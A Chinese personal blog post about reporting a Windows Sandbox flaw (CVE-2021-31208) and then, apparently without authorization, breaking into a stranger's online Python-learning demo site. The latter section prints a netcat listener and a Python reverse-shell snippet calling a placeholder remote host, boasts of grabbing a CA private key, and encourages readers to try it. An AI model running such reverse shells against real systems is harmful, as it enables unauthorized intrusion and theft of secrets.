---
layout: post
title: 论如何发现一个计算机漏洞
tags: [安全, 漏洞, 网络]
---

  网络安全？可不只是专业人员的事情。<!--more-->    
  
# 起因
  一个月前我发现了Windows沙箱有个很严重的漏洞，害得我都不敢相信微软产品的安全性了……不过Windows沙箱还是挺好用的，我不希望因为这种安全问题就放弃它，所以我就向微软反馈了这个漏洞。   
  于是昨两天，微软给我发邮箱说这个漏洞已经修好了，顺便感谢了一下我对微软产品安全性的贡献。虽然吧这个感谢也没给钱啥的，但是这个[漏洞的描述页面](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31208)能把我的名字写上去这个我还是挺高兴的。   
  在我收到这个消息当天，我兴奋的顺手又黑掉了一个网站😂，难不成我的天赋在信息安全上？   
  
# Windows沙箱的漏洞发现过程与复现方法
  在几个月前，我的电脑莫名其妙的被安装上了Microsoft Edge Beta版，我明明从来没有安装过，但是它就是莫名其妙的出现了。这么一安装，我的电脑就有了两个Edge浏览器。像我对电脑上面的东西还是有一点点的洁癖的，我不希望电脑上出现多余的东西，像这种出现两个Edge的问题我肯定是无法忍受。所以呢我就开始想方设法的卸载掉它。   
  一般来说Edge Beta都是手动安装的，所以这种情况在“卸载或更改程序”里应该是可以发现的，但是这个是莫名其妙被安装上的，自然也就不会出现在那个列表之中。接下来我开始搜如何强行卸载掉Edge，网上搜到的答案一般就是在浏览器内核文件夹下找到`Installer`文件夹，然后在这个文件夹下执行命令`.\setup.exe --uninstall --system-level --verbose-logging --force-uninstall`就OK了。结果我明明是去的Beta版下的那个文件夹执行的这条命令，然后它把我正式版的Edge卸掉了……卸掉之后不仅留下了一个删不掉的图标，而且Beta版里也没有我的Cookie和插件……   
  过了两天Windows更新了，更新之后正式版的又给我安装回来了……这真的是不知道怎么说……后来我下了一个Geek Uninstaller总算是把那个困扰我很长时间的Edge Beta卸载掉了。   
  就以上这件事情搞的我很烦躁，烦躁之后就想发泄，发泄又不能对着我的电脑发泄，于是我就打开了Windows沙箱，把Windows沙箱里的Edge给卸载掉了。结果怎么着？我物理机上的Edge也不见了！这说明了啥问题？我在沙箱里做的操作竟然影响到了物理机？后来我经过测试发现，微软似乎把物理机里的`C:\Program Files (x86)\Microsoft\Edge\Application`文件夹映射到了沙箱里，而且没有做任何的限制。这可真是太可怕了，要知道沙箱相当于一个被信任执行危险东西的一个地方，那么使用它的人都是不会考虑里面运行的东西是不是安全的，看来阿三写的代码不行啊。假如我写一个程序，它把`msedge.exe`文件感染了，比如说加个壳啥的，物理机上用Edge的人应该也不少吧，至少市场占有率都已经超过Firefox了，那么在沙箱里Edge被感染的人在物理机上一旦运行，那么物理机将陷入危险的境地。   
  最开始我发现了这个漏洞之后我是在反馈中心里提交的，不过那个看起来貌似一点点用都没有，微软是没有人会去看那个东西的，而且就算看到了也只会静悄悄的修复掉，你的反馈就和垃圾没什么区别。   
  后来我在百度上搜怎么向微软提交漏洞，百度简直就是个垃圾，没有搜到一点点有用的信息，之后看了半天我看到有一个文章说可以给 <secure@microsoft.com> 发邮件来反馈BUG，于是我就用英文写了篇文章来报告这个BUG。
  不过我的方法并不正确，因为微软有专门反馈BUG的网站，也就是[Microsoft Security Response Center](https://www.microsoft.com/zh-cn/msrc/)。你如果直接用邮箱报告他们当然也会回复，但是大概率得不到奖金，因为人家的报告一般都有格式，自己写邮件肯定是不知道要按什么格式写。所以垃圾百度搜给微软报告漏洞根本找不到这个网站，还是我发了邮件之后才知道原来可以在这里报告，所以如果大家以后找到微软的漏洞想报告，千万不要用那个垃圾“反馈中心”，也不要发邮件，最好直接在[这里](https://msrc.microsoft.com/create-report)报告漏洞。   
  另外还有个问题就是如果真的得到了奖金，拿到它也有点麻烦，因为微软不能说是让你发个支付宝收款码之类的，得先注册一个HackerOne或者Bugcrowd的账户，而且从国外提款很麻烦，所以如果不是那种经常能发现漏洞的，或者是在安全公司里的人，基本上这钱就还是别提了。   
## 复现的环境要求
  这个漏洞的大致使用方法读完上面的部分大家应该也都明白了吧，PoC？那种东西我怎么可能会写？傻子都知道怎么测试了吧？所以如果大家想复现这个漏洞首先需要运行在Windows 10的电脑上安装Windows沙箱，最早的有效版本我不太清楚，因为这个漏洞是微软把旧版的Edge完全从电脑上删除开始的，另外目前的话如果想要复现这个漏洞不能安装[KB5003173](https://catalog.update.microsoft.com/v7/site/Search.aspx?q=KB5003173)补丁，如果安装了貌似也可以卸载掉。所以以当前发布这篇文章的时间来看，只要在最新的Windows 10上卸载KB5003173补丁，然后安装Windows沙箱，就可以复现这个漏洞。
## 人生中第一个自己贡献了的CVE
  看来[CVE-2021-31208](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31208)就是我贡献的了，以后只要在微软的[鸣谢列表](https://msrc.microsoft.com/update-guide/acknowledgement)里搜索Mayx就可以搜到我找到的漏洞了，虽然这个漏洞很简单，但是自己的名字能写到那个列表里也挺令人高兴的啊。   
  
# 那天我黑掉的网站
  5月12日那天，有一名叫做[Kingfish404](https://github.com/Kingfish404)的人Fork了我的博客，结果第一眼看到了那个爬猎聘网的脚本，吓得我还以为这位是我的老师，因为最近我参与的一个项目就是去爬各种招聘网站。总之就是这些原因我对这个人产生了一点点兴趣，就看了看Ta的仓库。看着看着看到了一个可以[在线学习Python的网站源代码](https://github.com/Kingfish404/LearnPython)，我很久以前就很想做一个开源的这种在线运行Python代码然后可以自动批阅的网站，就像Python123那样，就是因为他们那个服务要收费所以就想写个开源的，不过因为如果直接用Python在服务器上运行的话实在是太危险了，所以我想的是写一个使用Docker来运行Python并且评分的平台（也许可以用k8s？），可惜我水平有限，不怎么会用Docker所以就没再管了。但是今天既然看到了那不得拜读一下？结果发现这个人写的就是我说的那种危险方法运行Python脚本的，看了一下代码还用了一个漏洞百出的安全检查函数来防止攻击……总之既然有示例站我们就来搞搞试试看嘛。一般来说这种反弹shell绝对是简单的不得了，不过我也只是知道这个概念，怎么用我还是不太清楚。然后就搜了一下，看到了[这篇文章](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)。嗯……现实中攻击还是要比CTF中攻击有意思，然后我就在我的服务器上执行了一下`nc -lvvp 1234`，在它的代码执行框里执行：
```python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("remote-ip",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
```
  就这样我就成功的反弹了一个Shell，虽然吧Ta给的权限不高，但是下个CA证书的私钥还是轻轻松松的。后来我给这个人反馈了一下他就把网站关掉了。   
  所以如果谁有兴趣想亲手试试看怎么反弹Shell也可以下载Ta的代码试一试。   

# 总结
  从以上来看，想找漏洞绝不是一定要学过网络/信息安全的人才能干的事情，至少我不是信息安全专业的，所以只要有能注意到问题的思考方法，要正面面对问题，要刻意触发问题，知道问题出现在哪里，猜测问题可以做什么，那么谁都可以发现漏洞，虽然发现了也不能说是大神吧……但是你看看这把我的名字写到鸣谢里不挺让人开心的吗？
